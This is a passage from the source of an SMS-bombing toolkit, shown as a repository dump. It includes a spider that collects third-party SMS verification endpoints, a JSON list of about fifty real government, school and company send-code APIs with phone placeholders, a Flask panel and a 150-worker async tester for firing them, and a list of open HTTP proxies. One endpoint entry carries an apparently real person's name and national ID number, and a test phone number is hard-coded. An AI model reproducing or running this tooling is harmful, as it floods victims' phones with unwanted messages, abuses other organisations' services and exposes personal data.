open(json_path, encoding="utf8", mode="w") as fp: 166 | try: 167 | json.dump(ok_web, fp, ensure_ascii=False) 168 | logger.success("save hz-web.json success!") 169 | except Exception as why: 170 | logger.error(f"write hz-web.json error {why}") 171 | return ok_web 172 | 173 | 174 | @click.group() 175 | def cli(): 176 | pass 177 | 178 | 179 | @click.command() 180 | def spider_all(): 181 | """ 182 | 根据目录下的 hz-web.json 文件更新接口 183 | """ 184 | websites = load_api_web() 185 | for website in websites: 186 | logger.info(f"正在爬取:{website['url']}") 187 | try: 188 | sms = SMS(website=website['url'], key=website['key']).main() 189 | except Exception as why: 190 | logger.critical(f"爬取:{website['url']} 出错:{why}") 191 | 192 | 193 | @click.command() 194 | @click.option('--url', help='轰炸网站的网址,结尾需要带/', prompt=True) 195 | @click.option('--key', help='网址携带的参数(可选)', default="") 196 | def spider_one(url, key): 197 | """爬取单个网址.""" 198 | try: 199 | sms = SMS(website=url, key=key).main() 200 | except Exception as why: 201 | logger.critical(f"爬取:{url} 出错:{why}") 202 | 203 | 204 | @click.command() 205 | @logger.catch 206 | def save_api(): 207 | """保存api到 GETAPI.json 文件""" 208 | db = Sql() 209 | apis = db.select() 210 | api_lst = [ 211 | api 212 | for api in apis 213 | ] 214 | with open("GETAPI.json", mode="w") as j: 215 | json.dump(fp=j, obj=api_lst, ensure_ascii=False) 216 | logger.success("写入到 GETAPI.json 成功!") 217 | 218 | 219 | cli.add_command(spider_all) 220 | cli.add_command(spider_one) 221 | cli.add_command(save_api) 222 | 223 | if __name__ == '__main__': 224 | cli() 225 | -------------------------------------------------------------------------------- /debug/tou_api.py: -------------------------------------------------------------------------------- 1 | # encoding=utf8 2 | # 从 api.js 偷别人家的接口 3 | import pathlib 4 | import json 5 | from pydantic import BaseModel 6 | from typing import Optional, Union 7 | 8 | path = pathlib.Path(__file__).parent.resolve() 9 | 10 | 11 | class API(BaseModel): 12 | """处理自定义 API 数据""" 13 | desc: str = "Default" 14 | url: str = "" 15 | method: str = "GET" 16 | header: Optional[Union[str, dict]] = "" 17 | data: Optional[Union[str, dict]] 18 | 19 | 20 | def main(): 21 | with open(pathlib.Path(path, "touapi.json"), mode="r", encoding="utf8") as c: 22 | js = json.load(fp=c) 23 | 24 | apis = [] 25 | for j in js: 26 | # print(j) 27 | api = API() 28 | api.url = j[0] 29 | api.method = j[3] 30 | api.desc = j[2] 31 | api.data = j[4] 32 | apis.append(api.dict()) 33 | # print(apis) 34 | 35 | with open(pathlib.Path(path, "api_tou.json"), mode="w", encoding="utf8") as cc: 36 | js = json.dump(obj=apis, fp=cc, ensure_ascii=False) 37 | 38 | 39 | if __name__ == "__main__": 40 | main() 41 | -------------------------------------------------------------------------------- /debug/touapi.json: -------------------------------------------------------------------------------- 1 | [ 2 | [ 3 | "https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code", 4 | "111", 5 | "迪卡侬", 6 | "POST", 7 | { 8 | "countryCode": "CN", 9 | "mobile": "[phone]" 10 | }, 11 | "https://www.decathlon.com.cn/zh/create" 12 | ], 13 | [ 14 | "https://www.guhai.com.cn/front/member/sendSmsCode", 15 | 60, 16 | "股海网", 17 | "POST", 18 | { 19 | "mobile": "[phone]" 20 | }, 21 | "https://www.guhai.com.cn/register.html" 22 | ], 23 | [ 24 | "http://www.lll.plus/sendCode/", 25 | 60, 26 | "LLL的个人blog", 27 | "POST", 28 | { 29 | "tel": "[phone]", 30 | "forgetPwd": "" 31 | }, 32 | "http://www.lll.plus/register/" 33 | ], 34 | [ 35 | "https://www.xcxui.com/index/register/getcode.html", 36 | 60, 37 | "企米子", 38 | "POST", 39 | { 40 | "tel": "[phone]" 41 | }, 42 | "https://www.xcxui.com/index/register" 43 | ], 44 | [ 45 | "https://id.pgyer.com/user/getRegisterCode", 46 | 60, 47 | "蒲公英", 48 | "POST", 49 | { 50 | "tel": "[phone]", 51 | "callingCode": "86", 52 | "mode": "tel" 53 | }, 54 | "https://id.pgyer.com/user/register?mode=tel" 55 | ], 56 | [ 57 | "https://erp.abiz.com/mobilecode/sendMobileCode", 58 | 60, 59 | "百卓优采", 60 | "POST", 61 | { 62 | "mobile": "[phone]", 63 | "captcha": "" 64 | }, 65 | "https://erp.abiz.com/register" 66 | ], 67 | [ 68 | "https://brand.yunbeilou.com/index.php/smssend", 69 | 30, 70 | "云背篓", 71 | "POST", 72 | { 73 | "phone": "[phone]", 74 | "v": "yes" 75 | }, 76 | "https://brand.yunbeilou.com/index.php/register" 77 | ], 78 | [ 79 | "https://m.php.cn/account/phone_code.html", 80 | 60, 81 | "PHP中文网", 82 | "POST", 83 | { 84 | "phone": "[phone]" 85 | }, 86 | "https://m.php.cn/reg.html" 87 | ], 88 | [ 89 | "http://dhba.12321.cn/api/verifycode", 90 | 60, 91 | "12321", 92 | "POST", 93 | { 94 | "phone": "[phone]" 95 | }, 96 | "http://dhba.12321.cn/user/register" 97 | ], 98 | [ 99 | "https://www.ztestin.com/users/send/vercode", 100 | 60, 101 | "Testin众测", 102 | "POST", 103 | { 104 | "phone": "[phone]", 105 | "type": "register", 106 | "voice": "0" 107 | }, 108 | "https://www.ztestin.com/users/register?from=menu" 109 | ], 110 | [ 111 | "http://maker.haier.net/client/user/sendregistervcode.html", 112 | 60, 113 | "海尔", 114 | "POST", 115 | { 116 | "account": "[phone]" 117 | }, 118 | "http://maker.haier.net/client/mobile/register.html" 119 | ], 120 | [ 121 | "https://www.feimaoyun.com/index.php/invite/h5sendmsg", 122 | 30, 123 | "飞猫云", 124 | "POST", 125 | { 126 | "pcode": "+86", 127 | "phone": "[phone]" 128 | }, 129 | "https://yq.jingfile.com/static/invite/register.html?type=3&code=FM666685N0UFSVIP" 130 | ], 131 | [ 132 | "https://end.huajuetech.com/api/sendCode", 133 | 60, 134 | "华觉数字化平台", 135 | "POST", 136 | { 137 | "mobile": "[phone]", 138 | "email": "null", 139 | "verfy_method": "mobile" 140 | }, 141 | "https://end.huajuetech.com/admin.php/system/Passport/regist.html" 142 | ], 143 | [ 144 | "https://wenz.jxnews.com.cn/ms/index.php/Home/User/get_yzm", 145 | 120, 146 | "问政江西", 147 | "POST", 148 | { 149 | "phone": "[phone]" 150 | }, 151 | "https://wenz.jxnews.com.cn/ms/index.php/Home/User/register/" 152 | ], 153 | [ 154 | "http://api.hndyjyfw.gov.cn/djapi/mobileVerify", 155 | 60, 156 | "河南智慧党建", 157 | "POST", 158 | { 159 | "phone": "[phone]", 160 | "verifytype": "1" 161 | }, 162 | "http://www.hndyjyfw.gov.cn/register.html" 163 | ], 164 | [ 165 | "https://cloud.666idc.com/index/login/sendsms.html", 166 | 60, 167 | "陆陆陆云安全", 168 | "POST", 169 | { 170 | "mobile": "[phone]", 171 | "mobile_pre": "86" 172 | }, 173 | "https://cloud.666idc.com/index/login/register" 174 | ], 175 | [ 176 | "https://dz.blizzard.cn/action/user/mobile/captcha", 177 | 60, 178 | "网易", 179 | "POST", 180 | { 181 | "mobile": "[phone]" 182 | }, 183 | "https://dz.blizzard.cn/register" 184 | ], 185 | [ 186 | "https://www.codeseeding.com/loginUser/toSend", 187 | 60, 188 | "码云社", 189 | "POST", 190 | { 191 | "phone": "[phone]" 192 | }, 193 | "https://www.codeseeding.com/index" 194 | ], 195 | [ 196 | "http://sso.rcsd.cn/regist/getVerifyCode", 197 | 120, 198 | "人才山东", 199 | "POST", 200 | { 201 | "personcall": "[phone]" 202 | }, 203 | "http://sso.rcsd.cn/regist/registeHome" 204 | ], 205 | [ 206 | "http://sso.mwr.cn/suserRegister/verifyAccountAndphone.action", 207 | 60, 208 | "水利部", 209 | "POST", 210 | { 211 | "mobile": "[phone]" 212 | }, 213 | "http://sso.mwr.cn/examine/getexamines.jsp" 214 | ], 215 | [ 216 | "http://ut7.whu.edu.cn/Home/studentCommon/Student_getVerifyCode", 217 | 60, 218 | "七联大学", 219 | "POST", 220 | { 221 | "phoneNumber": "[phone]", 222 | "sendType": "0" 223 | }, 224 | "http://ut7.whu.edu.cn/Home/studentCommon/studentLogin.jsp" 225 | ], 226 | [ 227 | "https://www.0101ssd.com/user/sendmsg", 228 | 60, 229 | "闪德资讯", 230 | "POST", 231 | { 232 | "mobile": "[phone]", 233 | "event": "register" 234 | }, 235 | "https://www.0101ssd.com/" 236 | ], 237 | [ 238 | "https://mskzkt.jse.edu.cn/baseApi/user/code/", 239 | 60, 240 | "江苏省名师空中课堂", 241 | "POST", 242 | { 243 | "mobile": "[phone]", 244 | "type": "1" 245 | }, 246 | "https://mskzkt.jse.edu.cn/baseApi/user/code/" 247 | ], 248 | [ 249 | "https://csff.cutv.com/wapi/users/sendregcode", 250 | 60, 251 | "CSFF短片", 252 | "POST", 253 | { 254 | "telphone": "[phone]" 255 | }, 256 | "https://csff.cutv.com/register" 257 | ], 258 | [ 259 | "http://rswb.gx12333.net/member/getRegisterphoneCode.jspx", 260 | 60, 261 | "广西人社厅", 262 | "POST", 263 | { 264 | "aae005": "[phone]", 265 | "aac003": "刘萌萌", 266 | "aac002": "210212198506035924", 267 | "notkeyflag": "1" 268 | }, 269 | "http://rswb.gx12333.net/member/register.jhtml" 270 | ], 271 | [ 272 | "https://www.maxell-dm.cn/Code/CheckImage.aspx", 273 | 60, 274 | "麦克赛尔数字映像", 275 | "POST", 276 | { 277 | "action": "send", 278 | "txtMember_Name": "[phone]" 279 | }, 280 | "https://www.maxell-dm.cn/register.aspx" 281 | ], 282 | [ 283 | "http://main.jiajiaozaixian.com//reginfo/sendRankByMobileReginfo.action", 284 | 60, 285 | "宝提分", 286 | "POST", 287 | { 288 | "mobile": "[phone]" 289 | }, 290 | "http://main.jiajiaozaixian.com/zhuce/student/zhuce_xy1.jsp?" 291 | ], 292 | [ 293 | "http://www.cnppump.ltd/Service/UserHandler.ashx", 294 | 60, 295 | "选型系统", 296 | "GET", 297 | { 298 | "cmd": "GetTelVerifyCode", 299 | "Tel": "[phone]" 300 | }, 301 | "http://www.cnppump.ltd/Register/RegisterByTel.aspx" 302 | ], 303 | [ 304 | "http://vip.qianlima.com/rest/u/api/user/register/mobile/code", 305 | 60, 306 | "千里马网信科技", 307 | "POST", 308 | { 309 | "tips": "1", 310 | "shouji": "[phone]" 311 | }, 312 | "http://vip.qianlima.com/register.html" 313 | ], 314 | [ 315 | "https://baodingyun.com.cn/register/send_registerSMS.html", 316 | 60, 317 | "保定云", 318 | "POST", 319 | { 320 | "phone": "[phone]" 321 | }, 322 | "https://baodingyun.com.cn/register.html" 323 | ], 324 | [ 325 | "http://www.gm5.com/auth/registerSms.html", 326 | 60, 327 | "欢动游戏", 328 | "POST", 329 | { 330 | "mobile": "[phone]" 331 | }, 332 | "http://www.gm5.com/auth/register.html" 333 | ], 334 | [ 335 | "https://www.maiwe.com.cn/index/sendcode.html", 336 | 60, 337 | "迈威", 338 | "GET", 339 | { 340 | "tel": "[phone]" 341 | }, 342 | "https://www.maiwe.com.cn/index/register.html" 343 | ], 344 | [ 345 | "https://www.dehua.net/include/ajax.php?service=siteConfig&action=getphoneVerify&type=signup&phone=[phone]&areaCode=86", 346 | 60, 347 | "憨鼠社区", 348 | "GET", 349 | {}, 350 | "" 351 | ], 352 | [ 353 | "https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=112", 354 | 60, 355 | "天鹅到家", 356 | "GET", 357 | {}, 358 | "" 359 | ], 360 | [ 361 | "http://ks.ndzhugong.com/getVerificationCode?phone=[phone]&password=&smscode=", 362 | 60, 363 | "诺达筑工", 364 | "GET", 365 | {}, 366 | "" 367 | ], 368 | [ 369 | "http://211.149.170.226:8201/dczp-cloud-client/rrs/user/sendSms?[phone]&[phone]&smsMode=2", 370 | 60, 371 | "栋才智慧", 372 | "GET", 373 | {}, 374 | "" 375 | ], 376 | [ 377 | "http://wf.zhuanjipx.com:8084//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=a87c9338-43a1-66ea-8ce7-1b1ac7c39d69", 378 | 60, 379 | "工伤预防网上培训平台", 380 | "GET", 381 | {}, 382 | "" 383 | ], 384 | [ 385 | "https://sdjn-web.yxlearning.com/sendphoneCode.gson", 386 | 60, 387 | "济宁专技", 388 | "POST", 389 | { 390 | "phone": "[phone]", 391 | "sendType": "4" 392 | }, 393 | "https://sdjn-web.yxlearning.com/staffRegister.shtml" 394 | ], 395 | [ 396 | "http://www.yddzgc.com/bid-app/api/sys/code?phone=[phone]&type=1", 397 | 60, 398 | "宁夏伊地地质工程有限公司", 399 | "GET", 400 | {}, 401 | "" 402 | ], 403 | [ 404 | "http://zycp.qcdxs.com:5001/sms/sendsms", 405 | 60, 406 | "青春大学说", 407 | "POST", 408 | { 409 | "phone_number": "[phone]" 410 | }, 411 | "http://zycp.qcdxs.com/user/register.html" 412 | ], 413 | [ 414 | "https://api.gzxyld.cn/HuiEbid/HuiEbidServer/doSendSms/getSms", 415 | 60, 416 | "兴业利达电子招投标平台", 417 | "POST", 418 | { 419 | "username": "[phone]", 420 | "type": "regUser", 421 | "mobile": "PC" 422 | }, 423 | "https://www.gzxyld.cn/HuiEbid/view/register.html" 424 | ], 425 | [ 426 | "https://v1.alphazone-data.cn/academy/api/v1/sendsms", 427 | 60, 428 | "火象", 429 | "POST", 430 | { 431 | "temp": "1", 432 | "phone": "[phone]" 433 | }, 434 | "https://www.alphazone.com.cn/register.html" 435 | ], 436 | [ 437 | "https://www.vipexam.cn/user/identifyingCode.action", 438 | 60, 439 | "中科教育", 440 | "POST", 441 | { 442 | "phone": "[phone]" 443 | }, 444 | "https://www.vipexam.cn/register.html" 445 | ], 446 | [ 447 | "https://uc.csdhe.com/v1/sms/send?mobile=[phone]&apptype=examWeb", 448 | 60, 449 | "聚题库", 450 | "GET", 451 | {}, 452 | "" 453 | ], 454 | [ 455 | "https://jssnd.edu.cn/apiu/v1/register/auth", 456 | 60, 457 | "苏州高新区教育局", 458 | "POST", 459 | { 460 | "phone": "[phone]" 461 | }, 462 | "https://jssnd.edu.cn/register.html" 463 | ], 464 | [ 465 | "http://zhuanjipx.com:8082//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=685110c6-cef4-bb01-8f4d-19ea89f4d3f8", 466 | 60, 467 | "专业技术人员继续教育平台", 468 | "GET", 469 | {}, 470 | "" 471 | ], 472 | [ 473 | "https://sdta-web.yxlearning.com/sendphoneCode.gson", 474 | 60, 475 | "泰安专技", 476 | "POST", 477 | { 478 | "phone": "[phone]", 479 | "sendType": "4" 480 | }, 481 | "https://sdta-web.yxlearning.com/staffRegister.shtml" 482 | ], 483 | [ 484 | "https://www.vipexam.cn/user/identifyingCode.action", 485 | 60, 486 | "志睿择", 487 | "POST", 488 | { 489 | "phone": "[phone]" 490 | }, 491 | "https://www.vipexam.cn/register.html" 492 | ], 493 | [ 494 | "https://www.bugbank.cn/api/verifymobile", 495 | 90, 496 | "漏洞银行", 497 | "POST", 498 | { 499 | "mobile": "[phone]" 500 | }, 501 | "https://www.bugbank.cn/bbe/register.html" 502 | ], 503 | [ 504 | "https://www.clssn.com/jhxtapi/web/Login/sendSmsCode", 505 | 60, 506 | "中国劳动保障新闻网", 507 | "POST", 508 | { 509 | "mobile": "[phone]" 510 | }, 511 | "https://www.clssn.com/register.html" 512 | ], 513 | [ 514 | "http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html", 515 | 60, 516 | "广东省心理学会", 517 | "POST", 518 | { 519 | "phone": "[phone]" 520 | }, 521 | "http://gpa-gd.scnu.edu.cn/member/index/register.html?siteid=1" 522 | ], 523 | [ 524 | "https://www.feeclouds.com/homepage/register/send", 525 | 60, 526 | "费耘网", 527 | "POST", 528 | { 529 | "mobile": "[phone]" 530 | }, 531 | "https://www.feeclouds.com/register.html" 532 | ] 533 | ] -------------------------------------------------------------------------------- /flask_app/__init__.py: -------------------------------------------------------------------------------- 1 | # encoding=utf8 2 | # app 工厂函数 3 | from flask import Flask,current_app 4 | from flask_sqlalchemy import SQLAlchemy 5 | from flask_admin import Admin 6 | from flask_admin.contrib.sqla import ModelView 7 | from flask_babelex import Babel 8 | import sys 9 | import os 10 | from loguru import logger 11 | 12 | 13 | # 判断系统 14 | WIN = sys.platform.startswith('win') 15 | if WIN: # 如果是 Windows 系统,使用三个斜线 16 | prefix = 'sqlite:///' 17 | else: # 否则使用四个斜线 18 | prefix = 'sqlite:////' 19 | 20 | # 日志处理 21 | logger.remove() 22 | logger.add( 23 | sink=sys.stdout, 24 | format="{time:YYYY-MM-DD at HH:mm:ss} - {level} - {message}", 25 | colorize=True, 26 | backtrace=True 27 | ) 28 | 29 | app = Flask(__name__) 30 | 31 | 32 | # app config 33 | class AppConfig: 34 | SQLALCHEMY_DATABASE_URI = prefix + \ 35 | os.path.join(app.root_path, 'data.db') # 数据库路径 36 | SQLALCHEMY_TRACK_MODIFICATIONS = False # 关闭对模型修改的监控 37 | FLASK_ADMIN_SWATCH = "cerulean" # admin 主题 38 | 39 | # 密钥 40 | SESSION_TYPE = 'filesystem' 41 | SECRET_KEY = os.urandom(24) 42 | 43 | BABEL_DEFAULT_LOCALE = 'zh_CN' # 汉化 44 | 45 | TEST_PHONE = "19820294268" # 测试手机号 46 | 47 | 48 | app.config.from_object(AppConfig) 49 | # 设置模板全局变量 50 | # print(app.config.get("TEST_PHONE")) 51 | app.add_template_global(current_app,"current_app") 52 | 53 | # 扩展 54 | db = SQLAlchemy(app) 55 | babel = Babel(app) 56 | 57 | admin = Admin(app, name="短信接口调试", template_mode='bootstrap3') 58 | from .model import ApisModelVies, Apis 59 | admin.add_view(ApisModelVies(Apis, db.session)) 60 | 61 | # buleprint 62 | from .views import main as main_blueprint 63 | app.register_blueprint(main_blueprint) 64 | -------------------------------------------------------------------------------- /flask_app/data.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fslyg/gj/a451c3195cdf44bce10edb42a218c99b0bb814e7/flask_app/data.db -------------------------------------------------------------------------------- /flask_app/model.py: -------------------------------------------------------------------------------- 1 | # encoding=utf8 2 | # 储存数据库模型 3 | from utils import default_header_user_agent 4 | from . import db 5 | from datetime import datetime 6 | from . import ModelView 7 | import json 8 | from typing import Union, Optional 9 | from pydantic import BaseModel 10 | 11 | 12 | class ApisModelVies(ModelView): 13 | create_template = 'api_edit.html' 14 | edit_template = 'api_edit.html' 15 | # 在当前页面编辑 16 | # create_modal = True 17 | # edit_modal = True 18 | # 启用搜索 19 | column_searchable_list = ['desc'] 20 | # 可以导出 csv 21 | can_export = True 22 | 23 | 24 | class Apis(db.Model): 25 | id = db.Column(db.Integer, primary_key=True) # 主键 26 | desc = db.Column(db.String(20), default="Default") # 描述 27 | url = db.Column(db.String(9999), unique=True, nullable=False) # 链接 28 | method = db.Column(db.Enum("GET", "POST"), nullable=False) # 请求方法 29 | header = db.Column(db.String(9999)) # 请求头 30 | data = db.Column(db.String(9999)) # 请求数据 31 | add_time = db.Column(db.DateTime(), default=datetime.now) # 添加时间 32 | 33 | 34 | class API(BaseModel): 35 | desc: str = "Default" 36 | url: str 37 | method: str = "GET" 38 | header: Optional[Union[str, dict]] = default_header_user_agent() 39 | data: Optional[Union[str, dict]] 40 | 41 | def replace_data(self, content: Union[str, dict], phone) -> str: 42 | # 统一转换成 str 再替换. 43 | content = str(content).replace("[phone]", phone).replace( 44 | "[timestamp]", self.timestamp_new()).replace("'", '"') 45 | # 尝试 json 化 46 | try: 47 | # json.loads(content) 48 | # print("json成功",content) 49 | return json.loads(content) 50 | except: 51 | # print("json失败",content) 52 | return content 53 | 54 | def timestamp_new(self) -> str: 55 | """返回整数字符串时间戳""" 56 | return str(int(datetime.now().timestamp())) 57 | 58 | def handle_API(self, phone=None): 59 | """ 60 | :param API: one API basemodel 61 | :return: API basemodel 62 | """ 63 | # 仅仅当传入 phone 参数时添加 Referer 64 | # fix: 这段代码很有问题....... 65 | if phone: 66 | # 进入的 header 是个字符串 67 | if self.header == "": 68 | self.header = {} 69 | self.header['Referer'] = self.url # 增加 Referer 70 | 71 | self.header = self.replace_data(self.header, phone) 72 | if not self.header.get('Referer'): 73 | self.header['Referer'] = self.url # 增加 Referer 74 | 75 | self.data = self.replace_data(self.data, phone) 76 | self.url = self.replace_data(self.url, phone) 77 | # print(self) 78 | return self 79 | -------------------------------------------------------------------------------- /flask_app/static/test.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | function getValue() { 4 | let desc = $("#desc").val(); 5 | let url = $("#url").val(); 6 | let method = $("#method").val(); 7 | let header = $("#header").val(); 8 | let phone = $("#phone").val(); 9 | let data_ = $("#data").val(); 10 | 11 | let data = { 12 | "desc": desc, 13 | "url": url, 14 | "method": method, 15 | "header": header, 16 | "phone": phone, 17 | "data": data_ 18 | }; 19 | 20 | return data; 21 | }; 22 | 23 | $(document).ready(function () { 24 | 25 | 26 | 27 | $("#test").click(function () { 28 | 29 | $.ajax({ 30 | type: "POST", 31 | url: "/testapi/", 32 | contentType: "application/json", 33 | data: JSON.stringify(getValue()), 34 | dataType: "json", 35 | success: function (response) { 36 | if (response.status == 0) { 37 | $("#suc").show().text("请求成功!:" + response.resp); 38 | } else { 39 | $("#suc").attr("class", "alert alert-warning").show().text("请求失败!:" + response.resp); 40 | } 41 | }, 42 | error: function (XMLHttpRequest, textStatus, errorThrown) { 43 | $("#error").show().text("发送请求错误请检查后端接口:" + textStatus); 44 | }, 45 | }); 46 | 47 | }); 48 | 49 | // console.log(desc, url, method, header); 50 | 51 | 52 | }); -------------------------------------------------------------------------------- /flask_app/templates/admin_back.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 短信轰炸接口调试工具. 9 | 10 | 12 | 15 | 18 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 |
31 | 32 |

33 | 短信接口添加工具 34 | By 落落 35 |

36 | 37 |
38 |
39 |
40 | phone 41 |
42 | 43 |
44 | 45 |
46 |
47 | decs 48 |
49 | 50 |
51 | 52 |
53 |
54 | URL 55 |
56 | 57 |
58 | 59 |
60 |
61 | Data 62 |
63 | 64 |
65 | 66 |
67 | 68 |
69 |
70 | header 71 |
72 | 74 |
75 | 76 |
77 |
78 | 请求方法 79 |
80 | 81 |
82 |
83 | 84 |
85 | 88 | 89 |
90 | 93 | 96 |
97 | 98 |
99 | 100 |
101 | 105 |
106 | 107 | 108 | 109 | 110 |
111 | 112 | 113 | 172 | 173 | -------------------------------------------------------------------------------- /flask_app/templates/api_edit.html: -------------------------------------------------------------------------------- 1 | {% extends 'admin/model/edit.html' %} 2 | 3 | {% block body %} 4 |

短信接口添加

5 |

替换字符: 手机号[phone] 时间戳[timestamp]

6 | {{ super() }} 7 | 8 | 9 | {% endblock %} 10 | 11 | 12 | {% block tail %} 13 | 14 | 15 | 16 | {% endblock %} 17 | -------------------------------------------------------------------------------- /flask_app/utils.py: -------------------------------------------------------------------------------- 1 | # encoding=utf8 2 | import httpx 3 | from .model import API, default_header_user_agent 4 | 5 | 6 | def test_resq(api: API, phone) -> httpx.Response: 7 | """测试 API 返回响应 8 | :param api: API model 9 | :param phone: 手机号 10 | :return: httpx 请求对象. 11 | """ 12 | api = api.handle_API(phone) 13 | with httpx.Client(headers=default_header_user_agent(), timeout=8) as client: 14 | # 这个判断没意义.....但是我不知道怎么优化... 15 | # https://stackoverflow.com/questions/26685248/difference-between-data-and-json-parameters-in-python-requests-package 16 | # Todo: json 和 data 表单发送的问题,有些服务器不能解释 json,只能接受表单 17 | # sol: 1. 添加额外字段判断... 18 | if not isinstance(api.data, dict): 19 | print("data") 20 | resp = client.request(method=api.method, headers=api.header, 21 | url=api.url, data=api.data) 22 | else: 23 | print('json') 24 | resp = client.request( 25 | method=api.method, headers=api.header, url=api.url, json=api.data) 26 | 27 | return resp 28 | 29 | 30 | if __name__ == '__main__': 31 | pass 32 | -------------------------------------------------------------------------------- /flask_app/views/__init__.py: -------------------------------------------------------------------------------- 1 | from flask import Blueprint 2 | 3 | main = Blueprint("main",__name__) 4 | 5 | from . import views, error 6 | from .. import db -------------------------------------------------------------------------------- /flask_app/views/error.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python python3 2 | # coding=utf-8 3 | from . import main 4 | from flask import redirect, url_for 5 | 6 | 7 | @main.app_errorhandler(404) 8 | def page_not_found(e): 9 | """注册应用全局错误处理""" 10 | print("404") 11 | return redirect(url_for('main.index')) 12 | 13 | 14 | @main.app_errorhandler(401) 15 | def authfail(e): 16 | return redirect('/static/401.jpg') -------------------------------------------------------------------------------- /flask_app/views/views.py: -------------------------------------------------------------------------------- 1 | # encoding=utf8 2 | # flask app views 3 | from . import main 4 | import json 5 | from ..model import Apis, API 6 | from ..utils import test_resq 7 | from .. import logger 8 | import httpx 9 | from flask_app import db 10 | from flask import request, jsonify 11 | 12 | 13 | @main.route("/", methods=['GET', 'POST']) 14 | def index(): 15 | return "index" 16 | 17 | 18 | @main.route("/testapi/", methods=['GET', 'POST']) 19 | def testapi(): 20 | try: 21 | req = request.json 22 | api = API(**req) 23 | resp = test_resq(api, phone=req.get('phone')) 24 | print(resp.text) 25 | return jsonify({"status": 0, "resp": f"{resp.text}"}) 26 | except httpx.HTTPError as why: 27 | return jsonify({"status": 1, "resp": f"HTTP请求错误:{why}"}) 28 | except Exception as why: 29 | logger.exception(why) 30 | return jsonify({"status": 1, "resp": f"其他错误:{why}"}) 31 | -------------------------------------------------------------------------------- /handle_api.py: -------------------------------------------------------------------------------- 1 | # encoding=utf8 2 | # 维护 api.提供去重等功能 3 | from pathlib import Path 4 | import json 5 | from threading import Lock 6 | from queue import Queue 7 | from concurrent.futures import ThreadPoolExecutor 8 | import httpx 9 | from httpx import Limits 10 | import asyncio 11 | 12 | from utils.sql import Sql 13 | from utils.req import reqFunc, default_header_user_agent 14 | from utils.log import logger 15 | 16 | path = Path(__file__).parent.absolute().joinpath("debug", "api.db") 17 | 18 | sql = Sql(db_path=path) 19 | sql.newTable() 20 | lock = Lock() 21 | q = Queue() 22 | 23 | 24 | def read_url() -> str: 25 | global q 26 | with open("GETAPI.json", "r", encoding="utf8") as f: 27 | data = json.load(fp=f) 28 | for d in data: 29 | if not ( 30 | ( 31 | d.startswith("https://") or 32 | d.startswith("http://") 33 | ) and ("[phone]" in d) 34 | ): 35 | # print(f"{d}淘汰") 36 | continue 37 | q.put(d) 38 | logger.info(f"GETAPI接口总数:{q.qsize()}") 39 | return q 40 | 41 | 42 | def test(): 43 | while not q.empty(): 44 | i = q.get() 45 | if reqFunc(i, "19820294268"): 46 | with lock: 47 | sql.update(i) 48 | 49 | 50 | async def test2(): 51 | while not q.empty(): 52 | i = q.get() 53 | _i = i.replace("[phone]", "19820294267") 54 | async with httpx.AsyncClient(headers=default_header_user_agent(), timeout=100, limits=Limits(max_connections=1000, max_keepalive_connections=20), verify=False) as client: 55 | try: 56 | await client.get(_i) 57 | # if r.status_code == 200: 58 | sql.update(i) 59 | # logger.info("更新") 60 | except httpx.HTTPError as why: 61 | if why is None: 62 | logger.exception("未知的失败") 63 | logger.error(f"请求失败{type(why)}{why} {i}") 64 | except Exception as e: 65 | logger.error("全局失败") 66 | logger.exception(e) 67 | 68 | 69 | async def asMain(): 70 | await asyncio.gather( 71 | 72 | *( 73 | test2() 74 | for _ in range(150) 75 | ) 76 | 77 | ) 78 | 79 | 80 | def save_api(): 81 | """保存api到 GETAPI.json 文件""" 82 | apis = sql.select() 83 | api_lst = [ 84 | api 85 | for api in apis 86 | ] 87 | with open("GETAPI.json", mode="w", encoding="utf8") as j: 88 | json.dump(fp=j, obj=api_lst, ensure_ascii=False) 89 | logger.success("写入到 GETAPI.json 成功!") 90 | 91 | 92 | def main(): 93 | read_url() 94 | # with ThreadPoolExecutor(max_workers=1024) as pool: 95 | # for _ in range(1024): 96 | # pool.submit(test) 97 | loop = asyncio.get_event_loop() 98 | loop.run_until_complete(asMain()) 99 | 100 | 101 | if __name__ == "__main__": 102 | main() 103 | # read_url() 104 | save_api() 105 | -------------------------------------------------------------------------------- /http_proxy.txt: -------------------------------------------------------------------------------- 1 | 1.0.170.50:80 2 | 101.51.139.179:8080 3 | 005.252.161.48:8080 4 | 1.10.141.220:54620 5 | 103.10.62.238:58208 6 | 102.141.197.17:8080 7 | 05.252.161.48:8080 8 | 103.130.141.98:8080 9 | 119.165.64.183:9999 10 | 111.225.153.228:8089 11 | 111.225.153.137:8089 12 | 112.78.157.199:9812 13 | 113.160.209.113:19132 14 | 111.225.152.52:8089 15 | 111.225.153.248:8089 16 | 116.253.208.239:33080 17 | 139.162.78.109:3128 18 | 134.209.29.120:3128 19 | 139.162.78.109:8080 20 | 14.241.111.38:8080 21 | 154.236.184.70:1981 22 | 134.209.189.42:80 23 | 131.221.233.210:53281 24 | 134.209.29.120:8080 25 | 177.135.247.119:8080 26 | 175.141.151.191:8080 27 | 178.151.205.154:45099 28 | 173.212.224.134:3129 29 | 177.11.24.192:8083 30 | 175.111.129.156:8080 31 | 175.100.72.95:57938 32 | 179.189.125.222:8080 33 | 185.208.172.196:8080 34 | 184.155.36.194:8080 35 | 184.105.182.254:3128 36 | 183.89.113.139:8080 37 | 185.199.84.161:53281 38 | 185.82.99.57:9091 39 | 185.127.224.60:41890 40 | 185.51.10.19:80 41 | 194.67.91.153:80 42 | 197.246.212.70:3030 43 | 194.114.128.149:61213 44 | 196.1.95.117:80 45 | 194.146.43.44:3128 46 | 200.37.199.186:999 47 | 201.77.109.160:999 48 | 20.203.160.74:3128 49 | 36.91.98.115:8181 50 | 34.87.84.105:80 51 | 36.67.197.54:8080 52 | 37.233.102.184:3128 53 | 36.69.104.5:80 54 | 43.224.10.19:6666 55 | 223.96.90.216:8085 56 | 36.95.92.15:9812 57 | 45.5.145.164:8090 